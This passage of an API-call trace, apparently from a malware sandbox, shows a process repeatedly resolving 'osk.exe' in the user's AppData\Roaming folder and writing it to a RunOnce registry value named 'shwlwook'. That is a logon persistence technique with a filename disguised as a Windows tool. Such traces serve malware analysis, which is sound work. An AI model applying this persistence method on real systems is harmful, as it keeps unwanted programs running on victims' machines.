This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.978] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.979] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.979] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f4b0 | out: ppvObject=0x624f4b0*=0x0) returned 0x80004002 [0255.979] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xc [0255.979] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xb [0255.979] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.979] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xb [0255.979] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f4c0) returned 0x0 [0255.980] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xa [0255.980] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.980] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.980] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.980] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.981] RegCloseKey (hKey=0x14c) returned 0x0 [0255.981] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.981] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.992] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.992] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.992] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.992] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0255.992] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f510 | out: ppvObject=0x624f510*=0x0) returned 0x80004002 [0255.992] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xc [0255.993] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0255.993] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xd [0255.993] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0f00) returned 0x0 [0255.993] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xc [0255.993] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0255.993] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0255.993] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0255.993] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0255.993] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f530 | out: ppvObject=0x624f530*=0x0) returned 0x80004002 [0255.993] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xd [0255.993] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xc [0255.994] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0255.994] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xc [0255.994] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f540) returned 0x0 [0255.994] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xb [0255.994] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.995] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.995] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.995] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.995] RegCloseKey (hKey=0x14c) returned 0x0 [0255.996] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.996] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.008] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.008] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.008] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.008] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.008] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f590 | out: ppvObject=0x624f590*=0x0) returned 0x80004002 [0256.008] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xd [0256.008] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.008] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xe [0256.009] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0ea0) returned 0x0 [0256.009] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xd [0256.009] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.009] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.009] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.009] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.009] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f5b0 | out: ppvObject=0x624f5b0*=0x0) returned 0x80004002 [0256.009] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xe [0256.009] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xd [0256.010] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.010] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0xd [0256.010] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f5c0) returned 0x0 [0256.010] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0xc [0256.011] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.011] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.011] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.011] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.011] RegCloseKey (hKey=0x14c) returned 0x0 [0256.012] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.012] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.023] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.023] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.023] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.024] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.024] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f610 | out: ppvObject=0x624f610*=0x0) returned 0x80004002 [0256.024] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xe [0256.024] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.024] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0xf [0256.024] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0e40) returned 0x0 [0256.024] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0xe [0256.024] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.024] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: 